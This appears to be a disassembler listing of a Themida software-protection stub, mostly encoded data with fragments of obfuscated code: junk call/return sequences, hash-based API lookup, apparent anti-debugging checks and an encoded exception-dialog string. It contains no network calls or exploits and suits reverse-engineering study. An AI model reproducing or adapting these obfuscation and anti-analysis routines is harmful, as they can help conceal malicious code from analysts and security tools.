dd 89C08B06h, 1527C185h, 0F5BD8306h, 61508h, 0BD830975h
dd 61503ADh, 50197400h, 0B8C08B53h, 7DDh, 13858589h, 9D8D0615h
dd 617AA9Eh, 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h
dd 7DDh, 13858589h, 9D8D0615h, 617A78Dh, 585BD3FFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B0C35646h, 0CA68BADFh
dd 6A71BCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0CE8B75C3h, 33BD8509h, 0C08B0615h, 217E9h
dd 0CABF0F00h, 0FC43858Dh, 8D8B0617h, 615091Dh, 0FE3B8589h
dd 8B600617h, 150D818Dh, 5AE96106h, 0F000000h
; ---------------------------------------------------------------------------
mov bh, 0F9h
loc_5AC832: ; CODE XREF: Themida_:005AC2D5j
lea eax, [ebp+617FA4Bh]
push 0
push edx
call sub_5AC843
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC843 proc near ; CODE XREF: Themida_:005AC83Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5AC843 endp
; ---------------------------------------------------------------------------
db 36h
inc ebp
inc edx
or [ebp+615116Dh], edx
inc eax
push 0
push eax
call sub_5AC868
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC868 proc near ; CODE XREF: Themida_:005AC860p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5AC868 endp
; ---------------------------------------------------------------------------
mov ah, 87h
push edx
mov ecx, eax
mov [ebp+617FE3Bh], eax
jge $+6
push 34h
lea eax, [ebp+6151395h]
push eax
push dword ptr [ebp+617FE3Bh]
push 0
call dword ptr [ebp+61506D5h]
cmp eax, 7
jz loc_5ACA11
mov bx, ds
test bl, 4
jnz loc_5AC9B7
mov byte ptr [ebp+61509C5h], 56h
push 9CA8B852h
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
push 4
push 1000h
push 64h
push 0
call eax
mov [ebp+617FEAEh], eax
mov byte ptr [ebp+61509C5h], 47h
push 0EC18AC9Bh
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
call eax
mov esi, eax
mov byte ptr [ebp+61509C5h], 4Fh
push 0C62F2661h
push dword ptr [ebp+6151789h]
lea eax, [ebp+6153B38h]
call eax
lea ebx, [ebp+617FEAAh]
push ebx
push 28h
push esi
call eax
test eax, eax
jnz short $+2
mov byte ptr [ebp+61509C5h], 41h
push 0DB876498h
push dword ptr [ebp+6151789h]
lea eax, [ebp+6153B38h]
call eax
mov [ebp+617FEC7h], eax
mov byte ptr [ebp+61509C5h], 4Ch
push 80A4E7A4h
push dword ptr [ebp+6151789h]
lea eax, [ebp+6153B38h]
call eax
mov ebx, [ebp+617FEAEh]
lea ebx, [ebx+4]
push ebx
lea ebx, [ebp+617FEB3h]
push ebx
push 0
call eax
mov ebx, [ebp+617FEAEh]
mov dword ptr [ebx], 1
mov dword ptr [ebx+0Ch], 2
mov ebx, [ebp+615074Dh]
mov dword ptr [ebp+6152DEDh], 0
push 0
push 0
push 0
mov ebx, [ebp+617FEAEh]
push ebx
push 0
push dword ptr [ebp+617FEAAh]
call dword ptr [ebp+617FEC7h]
loc_5AC9B7: ; CODE XREF: Themida_:005AC8AFj
mov byte ptr [ebp+61509C5h], 45h
push 92A5F797h
push dword ptr [ebp+6150789h]
lea eax, [ebp+6153B38h]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_5ACA11
mov ebx, [ebp+617FEAEh]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+617FEAEh]
push ebx
push 0
push dword ptr [ebp+617FEAAh]
call dword ptr [ebp+617FEC7h]
push dword ptr [ebp+617FEAAh]
call dword ptr [ebp+6150DCDh]
loc_5ACA11: ; CODE XREF: Themida_:005AC8A3j
; Themida_:005AC9DDj
push 0
call dword ptr [ebp+6152669h]
mov edx, 2AF71739h
mov edx, [ebp+61507F5h]
lea eax, [ebp+618318Ah]
push 0
push eax
call sub_5ACA35
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ACA35 proc near ; CODE XREF: Themida_:005ACA2Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5ACA35 endp
; ---------------------------------------------------------------------------
db 16h, 2 dup(50h)
dd 0EE860h, 0FA190000h, 565E08B1h, 0DA368CFh, 61FA69F8h
dd 61CB8A58h, 35FF645Fh, 0
dd 0C6DBD8Bh, 0FE80615h, 90000000h, 0F3A00965h, 929A9D24h
dd 0B54F576Ch, 0B70FB62Dh, 89645ACFh, 25h, 9E900h, 7A1F0000h
dd 0A8839088h, 83BD750Eh, 1509CDBDh, 840F0006h, 9Fh, 1949BA66h
dd 16598D8Bh, 0BD830615h, 6152DB5h, 88850F01h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0B6ADC353h, 509BDA77h, 0BD802DB1h, 61802C7h
dd 58850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0C78FC350h, 0E4403A6Ch
dd 858D8952h, 89061508h, 150C7585h, 198E906h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0A7B85CC3h, 0B8CE4F2Ah, 334CB2D9h, 218D01DBh, 8B06150Ah
dd 56C033FBh, 25198D09h, 405F0615h, 0B073F0Fh, 58F64h
dd 83000000h, 0F5704C4h, 6A5FCFB7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BCACC355h
dd 0FFFB83CEh, 15840Fh, 8D8B0000h, 61518F5h, 10FE9h, 89575600h
dd 1511D9B5h, 0E95F5906h, 72h, 9501FC60h, 615022Dh, 244C8B61h
dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h
dd 245C8BC3h, 0E8550Ch, 5D000000h, 31ACED81h, 838B0618h
dd 0B8h, 328B858Dh, 83890618h, 0B8h, 0C3C0335Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 69C35545h, 0D1958B60h
dd 9061503h, 1507499Dh, 858D6106h, 61831A2h, 9E8h, 0A0A11800h
dd 0F8C3F95Bh, 8151DACFh, 54BB60F2h, 0F5A5A7Ch, 188h, 3350FC00h
dd 1516D5BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5ACC5F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ACC5F proc near ; CODE XREF: Themida_:005ACC57p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5ACC5F endp
; ---------------------------------------------------------------------------
db 0F9h
dd 0D4749DC6h, 3860Fh, 0BF0F0000h, 258964C8h, 0
dd 4A27B966h, 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h
dd 8685D465h, 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h
dd 0A75564Dh, 14F585C7h, 10615h, 8F640000h, 5, 4C48300h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 92C35141h
dd 909EB5F6h, 2DA19D89h, 0B70F0615h, 6AC08BF8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 764DC352h, 83FED928h, 1508F5BDh, 9750006h, 3ADBD83h
dd 74000615h, 8B535019h, 43DB8C0h, 85890000h, 61502A1h
dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
dd 43DB853h, 85890000h, 61502A1h, 0A7A69D8Dh, 0D3FF0617h
dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0B71BD5C3h, 0C321BA91h, 0C08B228Ah, 147E9h
dd 400h, 392E3100h, 3031h, 6 dup(0)
dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
dd 20202020h, 25203D20h, 0D0A64h, 2FF1BD83h, 0F000615h
dd 12D84h, 0BD858D00h, 500617A5h, 0A527858Dh, 68500617h
dd 80000001h, 0A5CD95FFh, 858D0617h, 6183356h, 60858D50h
dd 50061833h, 6A006Ah, 0A53B858Dh, 0FF500617h, 17A5BDB5h
dd 9195FF06h, 8D061523h, 18335685h, 858D5006h, 6183364h
dd 6A006A50h, 4D858D00h, 500617A5h, 0A5BDB5FFh, 95FF0617h
dd 6152391h, 3356858Dh, 8D500618h, 18337085h, 6A5006h
dd 858D006Ah, 617A59Ah, 0BDB5FF50h, 0FF0617A5h, 15239195h
dd 56858D06h, 50061833h, 3378858Dh, 6A500618h, 8D006A00h
dd 17A5B885h, 0B5FF5006h, 617A5BDh, 239195FFh, 858D0615h
dd 6183356h, 74858D50h, 50061833h, 6A006Ah, 0A5A1858Dh
dd 0FF500617h, 17A5BDB5h, 9195FF06h, 8D061523h, 18335685h
dd 858D5006h, 6183368h, 6A006A50h, 0A9858D00h, 500617A5h
dd 0A5BDB5FFh, 95FF0617h, 6152391h, 3356858Dh, 8D500618h
dd 18336C85h, 6A5006h, 858D006Ah, 617A5B0h, 0BDB5FF50h
dd 0FF0617A5h, 15239195h, 0BDB5FF06h, 0FF0617A5h, 15181995h
dd 0A2E906h, 0BD830000h, 61518F9h, 95840F00h, 83000000h
dd 152DB5BDh, 850F0006h, 11h, 0B8D958Bh, 0C2810615h, 1CF8h
dd 0FE9h, 0E1958D00h, 8B061505h, 0C2813452h, 3BD4C340h
dd 282D9589h, 0BD830615h, 615282Dh, 55840F00h, 8B000000h
dd 15282D9Dh, 4CC38306h, 8589038Bh, 6183360h, 282D9D8Bh
dd 0C3830615h, 89038B50h, 18336485h, 2D9D8B06h, 83061528h
dd 38B54C3h, 33708589h, 9D8B0618h, 615282Dh, 8B58C383h
dd 74858903h, 8B061833h, 15282D9Dh, 5CC38306h, 8589038Bh
dd 6183368h, 2FF1BD83h, 0F000615h, 0D85h, 0F9BD8300h, 61518h
dd 68840Fh, 0B5FF0000h, 6183378h, 336CB5FFh, 0B5FF0618h
dd 6183368h, 3374B5FFh, 0B5FF0618h, 6183370h, 3364B5FFh
dd 0B5FF0618h, 6183360h, 335A858Dh, 8D500618h, 18339285h
dd 858D5006h, 6151E95h, 2995FF50h, 8306152Fh, 406A24C4h
dd 337C858Dh, 8D500618h, 151E9585h, 6A5006h, 6D595FFh
dd 16A0615h, 266995FFh, 0C18B0615h, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6183726h
dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0FFh, 0
dd 0C3616000h, 0FFFFF8E9h, 5EB58BFFh, 81061837h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 62B53B00h, 0F061837h
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 282D858Bh, 18860615h
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 0E195FF08h, 50061518h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 282D858Bh, 0C60615h, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 615282Dh, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 6150AA5h, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_5AD297
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6150AA5h], 100h
loc_5AD297: ; CODE XREF: Themida_:005AD288j
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h
dd 385C700h, 1061837h, 50000000h, 244C010Fh, 7858FFEh
dd 8D061837h, 1836FF85h, 7BD8D06h, 89061837h, 23E938h
dd 858D0000h, 61505E1h, 538408Bh, 9B46F317h, 36FF8589h
dd 858D0618h, 61505E1h, 893C408Bh, 18370385h, 1C858D06h
dd 89061837h, 1518E185h, 87E906h, 8B520000h, 728B60D4h
dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
db 8, 0
; ---------------------------------------------------------------------------
loc_5AD40E: ; DATA XREF: Themida_:0057B760o
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_5AD434
; ---------------------------------------------------------------------------
loc_5AD421: ; CODE XREF: Themida_:005AD436j
lodsb
cmp al, 2Dh
jz loc_5AD434
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_5AD434: ; CODE XREF: Themida_:005AD41Cj
; Themida_:005AD424j
or ecx, ecx
jnz loc_5AD421
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
lea eax, [ebp+618398Fh]
mov [ebp+6151101h], eax
lea eax, [ebp+61839B7h]
mov [ebp+61526CDh], eax
lea eax, [ebp+61839DFh]
mov [ebp+6151D31h], eax
pusha
push 0
push esi
call sub_5AD475
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD475 proc near ; CODE XREF: Themida_:005AD46Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5AD475 endp
; ---------------------------------------------------------------------------
db 4Ch, 83h, 4
dd 9DD0919Eh, 0EE852AEh, 20000000h, 0FA4476B1h, 0AE3E243Eh
dd 316D3ADh, 0DCC28021h, 0AE85Eh, 0EA980000h, 817BCC00h
dd 0AEF9BCADh, 68E0Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
pop edx
mov dh, 58h
mov eax, eax
sub edx, 43E43B32h
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_5AD4DD
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5AD4F6
loc_5AD4DD: ; CODE XREF: Themida_:005AD4D2j
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+6151385h], eax
lea ebx, [ebp+617AA9Eh]
call ebx
pop ebx
pop eax
loc_5AD4F6: ; CODE XREF: Themida_:005AD4DBj
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5AD516
push eax
push ebx
mov eax, 40Eh
mov [ebp+6151385h], eax
lea ebx, [ebp+617A78Dh]
call ebx
pop ebx
pop eax
loc_5AD516: ; CODE XREF: Themida_:005AD4FDj
mov dx, cx
mov dx, 7923h
jmp loc_5AD533
; ---------------------------------------------------------------------------
dw 144Dh
dd 33C244FEh, 67DE1D83h, 0B03ABC98h
db 0B0h, 16h, 12h
; ---------------------------------------------------------------------------
loc_5AD533: ; CODE XREF: Themida_:005AD51Dj
mov eax, eax
push 0
push edx
call sub_5AD540
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD540 proc near ; CODE XREF: Themida_:005AD538p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5AD540 endp
; ---------------------------------------------------------------------------
dd 9E980ADh, 88000000h, 73B6C16Ah, 6763C9ACh, 9CDBD83h
dd 0F000615h, 7684h, 0DE900h, 88640000h, 23EB6A2Ah, 2266B130h
dd 0E9812ECBh, 2B1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 4C35343h, 0DA3F80CAh, 809C95D3h, 14E83BDDh
dd 0F9000000h, 361803FFh, 32B29F65h, 16B9EF99h, 996E4B99h
dd 0F0A56B3h, 68Fh, 8B0F00h, 5E000000h, 0EE9h, 196CFC00h
dd 46D49AE7h, 933B053h, 8CB02BB6h, 51006ADFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66F13C7Eh
dd 1AC281h, 4C7F766h, 22850F00h, 0F000002h, 589h, 0D9EEB900h
dd 0BD833E90h, 615295Dh, 1E850F00h, 50000000h, 9E9h, 3DEE6900h
dd 48A2FC47h, 0B95A1EB0h, 6B10B38Ah, 1F0E9h, 7BBE6600h
dd 8DFF2B68h, 183DBD9Dh, 198F0F06h, 0E9000000h, 14h, 0B75B66C8h
dd 437B2651h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 0E8505A51h
dd 0Bh, 4C80C1CCh, 45969FA9h, 5A5EDEE2h, 6A241C89h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 4F27C350h, 60000905h, 12E8h, 0C053D600h, 8CAFF509h
dd 29A2D51h, 0E8CCBF04h, 0BB1B6D09h, 54537325h, 6860F5Fh
dd 0F000000h, 85h, 0FF646100h, 35h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E20D3D2Ch
dd 0E92AA296h, 6, 0D1809CF2h, 8964526Bh, 25h, 0E9506000h
dd 9, 50FC9DBEh, 5EC271AFh, 0FA8A5BE8h, 6AC48B61h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 99AEC351h, 0EB01CD73h, 5E900h, 23280000h, 570E609Fh
dd 2840Fh, 61600000h, 58F6459h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5AD76B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD76B proc near ; CODE XREF: Themida_:005AD763p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5AD76B endp
; ---------------------------------------------------------------------------
frstor byte ptr [eax-75h]
fimul word ptr [edi]
mov edi, 0C48361F9h
add al, 60h
mov ecx, 578BFD62h
pusha
jnb $+6
mov dh, 7Ch
popa
popa
or eax, eax
jz loc_5AD835
movzx ecx, dx
popa
sbb dx, 2590h
lea edi, [ebp+615720Dh]
mov cx, 4192h
mov eax, 1
push 0
push edx
call sub_5AD7C2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD7C2 proc near ; CODE XREF: Themida_:005AD7BAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5AD7C2 endp
; ---------------------------------------------------------------------------
dw 7B37h
dd 41C0DB02h, 81698DE3h, 9C8597D1h, 77D6813Eh, 0FF34EE4Ch
dd 0F2B70FE7h, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h
dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 0F57C3C0h
dd 8Bh, 6A5900h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 6CBB1AC3h
db 0CEh
; ---------------------------------------------------------------------------
loc_5AD835: ; CODE XREF: Themida_:005AD799j
popa
and cx, 0CFD9h
and dx, 0F212h
mov eax, eax
mov edx, 10A70FA5h
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_5AD859
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5AD872
loc_5AD859: ; CODE XREF: Themida_:005AD84Ej
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+61502A1h], eax
lea ebx, [ebp+617AB05h]
call ebx
pop ebx
pop eax
loc_5AD872: ; CODE XREF: Themida_:005AD857j
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5AD892
push eax
push ebx
mov eax, 40Eh
mov [ebp+61502A1h], eax
lea ebx, [ebp+617A7A6h]
call ebx
pop ebx
pop eax
loc_5AD892: ; CODE XREF: Themida_:005AD879j
push 0
push ecx
call sub_5AD89D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD89D proc near ; CODE XREF: Themida_:005AD895p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5AD89D endp
; ---------------------------------------------------------------------------
db 0AEh, 22h, 83h
dd 43C16182h, 8B72B613h, 0AE9C0h, 0B8850000h, 874B80D6h
dd 4E937DF3h, 0DE8C28Bh, 5F000000h, 0B9068386h, 62A959EFh
dd 9C76994Bh, 7E8h, 9444F800h, 0DBA62361h, 5AFB8B66h, 0BE66535Bh
dd 815FC7AEh, 5EF7C3h, 0E2816600h, 6853C0h, 0E8000000h
dd 0Ch, 3AC00ECDh, 5044F47Ch, 992BC527h, 13E9h, 4C933B00h
dd 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h, 5260595Eh
dd 8CF6BB66h, 7E959h, 0E66D0000h, 0F2256A44h, 48B61B8h
dd 0B7E2810Bh, 812D444Bh, 0D74689F0h, 1E88167h, 8B16B435h
dd 61E881F9h, 666F9CFDh, 55B9F681h, 8F1CB250h, 60F90B04h
dd 0C9B70F50h, 0FE95Eh, 57A0000h, 8CDD9FB6h, 0ED17021Fh
dd 65D3AA5Ah, 0E98361AAh, 81494902h, 814F6ACAh, 0F4F9810Ah
dd 0FFFFFA1h, 0E85h, 1CE900h, 1E540000h, 0C15B4853h, 600B0FB5h
dd 61CB8B66h, 0FFFF8DE9h, 8AB97BFFh, 4634100Ch, 8EB95B3h
dd 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5ADA48
; ---------------------------------------------------------------------------
db 60h, 52h, 0Fh
; ---------------------------------------------------------------------------
add [esp-2], ecx
pop edx
add edx, 24h
loc_5AD9D8: ; CODE XREF: Themida_:005ADA0Fj
mov eax, [ebp+6152DB5h]
lea eax, [ebp+6188E90h]
mov ecx, [eax]
mov ecx, [eax+1000h]
mov ecx, [edx]
mov cx, [edx-4]
mov [ebp+6183F95h], ecx
cmp dword ptr [ebp+615295Dh], 0
jz loc_5ADA14
pusha
push 0
call dword ptr [ebp+6152E21h]
popa
jmp loc_5AD9D8
; ---------------------------------------------------------------------------
loc_5ADA14: ; CODE XREF: Themida_:005AD9FFj
mov [edx-4], si
ror esi, 10h
mov [edx+2], si
push edx
int 4 ; - internal hardware - OVERFLOW
; Generated by INTO instruction if OF flag is set. If flag is not set, INTO
; is effectively a NOP.
pop edx
mov [ebp+6183F91h], eax
mov esi, [ebp+6183F95h]
ror esi, 10h
mov [edx+2], si
mov esi, [ebp+6183F95h]
mov [edx-4], si
popa
mov eax, [ebp+6183F91h]
retn
; ---------------------------------------------------------------------------
loc_5ADA48: ; CODE XREF: Themida_:005AD9C8j
lea edx, [ebp+6150E41h]
mov [ebp+615282Dh], edx
mov [ebp+6152849h], edx
inc dword ptr [ebp+6152849h]
mov byte ptr [ebp+61509C5h], 53h
push 0FCB148D8h
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
mov [ebp+6152E21h], eax
lea eax, [ebp+6183736h]
mov [ebp+615248Dh], eax
jmp short loc_5ADAAE
; ---------------------------------------------------------------------------
align 10h
dd 7 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5ADAAE: ; CODE XREF: Themida_:005ADA8Cj
jmp loc_5AE01E
; ---------------------------------------------------------------------------
jmp loc_5AE017
; ---------------------------------------------------------------------------
push 61841E0h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6184295h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6184473h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61844F4h
jmp loc_581882
; ---------------------------------------------------------------------------
dd 0CE959D5h, 53229217h, 24F161DCh, 5C39A90Fh, 22F363C7h
dd 278B0685h, 0EE51DEB7h, 2C88977Eh, 0E94AD9BCh, 232B9C79h
dd 9EB279A0h, 0B9830416h, 5D59C924h, 0B3D66D6Fh, 3A1086F2h
dd 0FB228169h, 849086F2h, 9515A5B2h, 4234A398h, 8BBEF1A8h
dd 17A81E1Eh, 1FA6h, 624F8200h, 494670E0h, 0F2DA02A1h
dd 0E1951086h, 6816ADB1h, 0F1169F32h, 1C6F5520h, 4B000000h
dd 86F297B6h, 80B05010h, 325907BEh, 99BE169Fh, 57CFAE5Ch
dd 1C7C6EBBh, 24BE6A0Bh, 0A4C61C9h, 46327F6Fh, 84C62D69h
dd 0D890860Dh, 0C2AFE757h, 30C7CF3Fh, 1A8D5689h, 2687406Fh
dd 2CD7DFB6h, 3A63E2FCh, 0B99087FDh, 36B5AEE8h, 312B2FC6h
dd 87FD4F92h, 6D1D2E90h, 7B437343h, 9D1050C8h, 0A81B1D96h
dd 9690CF61h, 22143B0Ch, 90CF7AA3h, 218C0396h, 11380BD1h
dd 0DC9690CFh, 9741FCBh, 8F1DBE5Bh, 65h, 0DB0BABABh, 31FF4003h
dd 917E169Fh, 0F8D5C131h, 0DCD507D7h, 0C9C6F060h, 10FA6ACAh
dd 6530A023h, 20FD6DCEh, 0B7D44934h, 54258DA7h, 4000003h
dd 0C45B3AAAh, 1320F565h, 7CB342B2h, 3AE98CFCh, 0EEAD48B8h
dd 108002BDh, 0D949AE85h, 1585E73Ch, 0E050B380h, 299CC215h
dd 169EB3E0h, 0B5320A8Bh, 31Fh, 59C924D1h, 0BE855785h
dd 1086F29Bh, 0ADF45162h, 501086F2h, 0BDE45F7Fh, 401086F2h
dd 32917B6Fh, 1086F2EBh, 86F2CE8Fh, 0F26CB210h, 86AB1086h
dd 0E7D6B424h, 1086F2A6h, 86F2034Ah, 0F2A6E710h, 7F3FD086h
dd 0D66D6F4Fh, 0D086F2B3h, 0BB81693Ah, 0C03090A1h, 0B211F9D6h
dd 0D69EE65Eh, 62C8CEDFh, 0F5506E9Eh, 0D08BF7B1h, 49FCE2h
dd 0EBDCABF7h, 0BF9030DAh, 0BF83F0DEh, 7D05EFF1h, 29Fh
dd 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh
dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh
dd 9EB06DB4h, 0AD8F1016h, 3C6D864Fh, 5C0844Ch, 0D0234A4h
dd 68CB4822h, 724A600h, 9CB3C2FCh, 708F95C2h, 1A63832Eh
dd 43279719h, 6F9F5FC9h, 6EDE624Fh, 610BBA7Ch, 169F08h
dd 5CD9462Fh, 2D0272D0h, 0EA5ADB48h, 4A7A3EACh, 4927D174h
dd 0C5D61087h, 4E489530h, 93C91CB6h, 0B64EE930h, 0CC8B941Ch
dd 13015BF0h, 0B5DB8FA0h, 360DD101h, 1AAF1EB0h, 7EEE4C39h
dd 0F44F8D51h, 2CE9EADh, 92B78E50h, 5902CE9Eh, 0B1836748h
dd 2930380h, 64D45B58h, 7CAD5D32h, 2C878FFFh, 2CE9E91h
dd 0A4BAEA8Eh, 0F821A4BAh, 8302CE9Eh, 920281B2h, 5E1BCDF8h
dd 0C9DA04D7h, 4EEE7F5h, 0F52DA536h, 92F122C8h, 5FDC5322h
